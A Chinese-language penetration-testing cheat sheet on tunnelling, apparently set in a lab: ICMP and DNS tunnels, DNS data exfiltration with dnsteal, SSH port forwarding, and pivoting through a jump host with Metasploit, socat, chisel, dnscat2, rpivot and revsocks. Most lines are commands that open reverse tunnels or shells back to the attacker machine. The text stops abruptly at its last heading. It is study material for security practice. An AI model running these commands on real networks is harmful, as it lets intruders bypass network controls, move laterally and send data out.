隧道是端与端之间一个加密通道,反弹shell、数据上传下载、以及搭建桥梁访问原本无法直接通信的服务,这些都是隧道的应用。

加密shell

如ssh、socat, dnscat, cryptcat等,client连上Server后可以建立加密通信,Server能在client上执行命令、上传下载文件等。

tunnelshell

可指定多种隧道、协议、端口:

隧道 - 图2

ICMP隧道

  1. // 攻击器和客户机都需要下载安装
  2. tar xvfz tunnelshell_2.3.tgz
  3. make
  4. // client
  5. sudo ./tunneld -t icmp -m echo-reply,echo
  6. // server
  7. sudo ./tunnel -t icmp -m echo-reply,echo 192.168.240.147

隧道 - 图3

隧道 - 图4

不过除了ICMP,其他协议wireshark都提示 malformed packet ,不能正确解报文

隧道 - 图5

泄露数据

dnsteal

  1. // server
  2. git clone https://github.com/m57/dnsteal
  3. cd dnsteal/
  4. python dnsteal.py 192.168.240.128 -z

隧道 - 图6

隧道 - 图7

流量转发

  1. Port Forwarding & Tunnelling Cheatsheet
为原本不连通的机器、或被拦截的端口之间搭建桥梁,这种情况常涉及3台机器。这个就需要Client和Server建立通信后,还要配上流量转发功能。 举例: kali与win10网络不通,kali想借助centos为跳板访问win10的3389端口,以远程桌面访问: kali: 192.168.128.129 (攻击机器/本地机器) centos: 192.168.128.130, 192.168.1.132 (跳板机/SSH隧道机器) win10: 192.168.1.131 (目标机器)

端口转发

SSH隧道-本地转发

本地端口转发是kali本机的ssh客户端起监听端口,并告诉跳板机centos上的ssh服务要转发流量。因此本地端口转发是在攻击机器上执行命令,监听端口启动在本机上,需要知道跳板机的账户密码。
  1. ssh -L local-port:target-host:target-port -N tunnel-host
  2. 注:target-host是相对tunnel-host而言的,因为tunnel-host负责转发。
  3. 比如ssh -L 5900:localhost:5900 host3, localhost就是host3自己:
  4. // 在本地机器(kali)执行
  5. ssh -L 7000:192.168.1.131:3389 -fN user@192.168.128.130
  6. // 如果本地机器是Windows,没有ssh的话可以使用plink.exe
  7. plink.exe -L 7000:192.168.1.131:3389 user@192.168.128.130

隧道 - 图8

隧道 - 图9

SSH隧道-远程转发

远程转发是相对于上面的本地转发而言的。如果此时kali没法ssh登录centos,也就没法告诉centos的ssh服务转发流量。但反过来centos可以ssh登录kali,则可指定远程机器kali启动监听端口,并告诉kali我会转发流量。因此,远程转发是在跳板机上执行命令,监听端口启动在远程攻击机器上,需要知道攻击机的账户密码。
  1. ssh -R remote-port:target-host:target-port -N remotehost
  2. // 在跳板机(centos)上执行
  3. ssh -R 7000:192.168.1.131:3389 -N kali@192.168.128.129

隧道 - 图10

隧道 - 图11

MSF portfwd

  1. // 获取跳板机centos上的meterpreter shell
  2. meterpreter> portfwd add -l 33489 -r 192.168.1.131 -p 3389
  3. // kali
  4. rdesktop localhost:33489

隧道 - 图12

socat

  1. // centos上执行,跳板机起监听端口,转发流量
  2. socat TCP-LISTEN:7000,fork,reuseaddr tcp:192.168.1.131:3389 &

隧道 - 图13

隧道 - 图14

chisel

  1. // kali,服务端
  2. sudo apt install chisel
  3. chisel server -p 8000 --reverse
  4. // centos,客户端
  5. git clone https://github.com/jpillora/chisel.git
  6. cd chisel/
  7. go build -ldflags="-s -w"
  8. ./chisel client 192.168.128.129:8000 R:5000:192.168.1.131:3389

隧道 - 图15

隧道 - 图16

dnscat2

DNS隧道工具dnscat2也提供了端口转发的功能
  1. // kali
  2. sudo apt install dnscat2
  3. dnscat2-server
  4. // centos
  5. git clone https://github.com/iagox86/dnscat2.git
  6. cd dnscat2/
  7. cd client/
  8. make
  9. ./dnscat --dns=server=192.168.128.129,port=53
  10. // dnscat client连接上kali,在kali上操作centos上shell设置端口转发策略
  11. session
  12. session -i 1
  13. listen 127.0.0.1:8888 192.168.1.131:3389
  14. // kali
  15. rdesktop localhost:8888

隧道 - 图17

sshuttle

配置转发规则,对于访问某个网段或IP的TCP连接,转发到某个ssh服务上 没有使用成功。。。
  1. // 在kali上执行
  2. sudo apt install sshuttle
  3. sshuttle -l 7000 -r user@192.168.128.130 192.168.1.0/24

内网穿透

上面的端口转发只能使得Attacker机器访问目标机器的固定端口;如果想访问跳板机所能访问到的任一内网机器,则需要在跳板机上搭建代理服务器,并在本机绑定某个端口,任何通过该端口的流量都通过本机与代理服务器之间的连接转发。

SSH隧道-动态转发

  1. ssh -D local-port tunnel-host -N
  2. // 在kali机器上执行,会在kali上监听7000端口,发到这个端口的流量都转发给192.168.128.130
  3. ssh -D 7000 -fN user@192.168.128.130
  4. // 如果本地机器是Windows,没有ssh的话可以使用plink.exe
  5. plink.exe -D 7000 user@192.168.128.130
  6. 1. 客户端支持设置代理
  7. curl -x socks5://localhost:7000 http://www.example.com
  8. 2. 客户端不支持设置代理,则使用proxychains工具
  9. sudo vim /etc/proxychains.conf
  10. [ProxyList]
  11. # add proxy here ...
  12. # meanwile
  13. # defaults set to "tor"
  14. socks5 127.0.0.1 7000
  15. proxychains rdesktop 192.168.1.131
  16. 3. 不仅能访问192.168.1.131,还能访问192.168.1.0/24网段其他机器
  17. proxychains ssh user@192.168.1.132

MSF autoroute+socks_proxy

对于MSF内部的模块比如portscan,如果要想访问子网192.168.240.0,需添加一条Pivote机器到网段192.168.100.0的路由。
  1. msf > use post/multi/manage/autoroute
  2. msf post(autoroute) > set session 1
  3. msf post(autoroute) > run

隧道 - 图18

autoroute只能解决MSF内部模块内网穿透的问题,如果想用MSF外部模块,比如nmap,则需要再搭一个socks代理。然后使用proxychains等代理客户端工具,走本地socks代理进入内网。
  1. msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy
  2. msf6 auxiliary(server/socks_proxy) > run
  3. [*] Auxiliary module running as background job 0.

隧道 - 图19

chisel

  1. // kali
  2. chisel server -p 8000 --reverse
  3. // centos
  4. ./chisel client 192.168.128.129:8000 R:socks
  5. // kali
  6. 配置socks5代理 127.0.0.1:1080
  7. proxychains rdesktop 192.168.1.131

rpivot

  1. // kali
  2. git clone https://github.com/klsecservices/rpivot.git
  3. python server.py --server-port 9999 --server-ip 192.168.128.129 --proxy-ip 127.0.0.1 --proxy-port 1080
  4. // centos
  5. git clone https://github.com/klsecservices/rpivot.git
  6. python client.py --server-ip 192.168.128.129 --server-port 9999
  7. // kali
  8. 配置socks4代理 127.0.0.1:1080
  9. proxychains rdesktop 192.168.1.131

revsocks

windows版chisel
  1. // 本地机器上执行,类比例子中的kali
  2. revsocks_windows_amd64.exe -listen :8443 -socks 0.0.0.0:1080 -pass test
  3. // 跳板机上执行,类比例子中的centos
  4. ./revsocks_linux_amd64 -connect 192.168.128.129:8443 -pass test
  5. // 本地机器配置socks5代理

sshuttle